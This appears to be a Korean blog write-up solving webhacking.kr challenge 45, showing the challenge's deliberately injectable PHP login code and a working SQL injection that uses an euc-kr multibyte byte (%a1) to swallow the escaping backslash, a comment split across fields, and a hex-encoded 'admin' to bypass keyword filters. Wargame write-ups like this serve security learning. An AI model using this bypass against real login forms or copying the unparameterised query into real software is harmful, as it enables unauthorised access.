<html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit> <input type=reset>
</form>
<?
if(time()<1256900400) exit();
?>
<!-- index.phps -->
<?
$pw="?????";
if($_GET[id] && $_GET[pw])
{
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();
if($data)
{
echo("hi $data[0]<br><br>");
if($data[0]=="admin") @solve();
}
if(!$data)
{
echo("Wrong");
}
}
?>
</body>
</html>
50번 문제와 비슷하다.
2018/09/11 - [WEB Hacking/webhacking.kr] - [webhacking.kr] 50번 :: /**/ SQL 인젝션 ㅡㅡ
이 문제도 id와 pw를 입력 받고 id 값을 mb_convert_encoding() 함수로 euc-kr -> utf-8 로 인코딩 방식을 변환했다.
mb_convert_encoding() 함수를 사용하면 %a1 ~ %fe 값이 백슬래시 앞에 오면 백슬래시를 먹어버린다.
따라서 magic_quotes_gpc 또는 addslashes() 함수로 싱글쿼터를 이스케이프해도 우회할 수 있다.
2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회
SELECT id from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')
id와 pw를 입력받아 해당 값을 쿼리로 전달한다.
근데 웃긴게 필터를 쿼리 이후에 하네? 어쨋든 필터 문자를 입력하면 exit() 를 호출하기 때문에 우회해야한다.
# $_GET[id] 필터 문자
admin
from
union
limit
# $_GETpw] 필터 문자
union
pw
=, <, >
from
쿼리 결과 레코드가 존재하면 "hi 아이디 값" 를 출력한다.
쿼리 결과 id 값이 admin이면 해결된다.
id 값에는 admin이 올 수 없기 때문에 pw에서 admin을 입력해준다. 이때, 주석(/**/)을 사용한다.
SELECT id from members WHERE id='rap1erX'/*' and pw=md5('*/ or id like 0x61646d696e# ')
id = rapier%a1'%2F*
pw = *%2For id like 0x61646d696e%23
SELECT id from members WHERE id='rapierX'/* ' and pw=md5('*/ or id like 0x61646d696e# ')
SELECT id from members WHERE id='rapierX' or id like 0x61646d696e#
'WEB Hacking > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 22번 SQL 인젝션 (0) | 2018.09.12 |
---|---|
[webhacking.kr] 3번 :: 작성중 (0) | 2018.09.11 |
[webhacking.kr] 50번 :: /**/ SQL 인젝션 ㅡㅡ (0) | 2018.09.11 |
[webhacking.kr] 07번 :: ㅡㅡ (0) | 2018.09.10 |
[webhacking.kr] 35번 SQL 인젝션 :: INSERT SQL 인젝션 (0) | 2018.09.10 |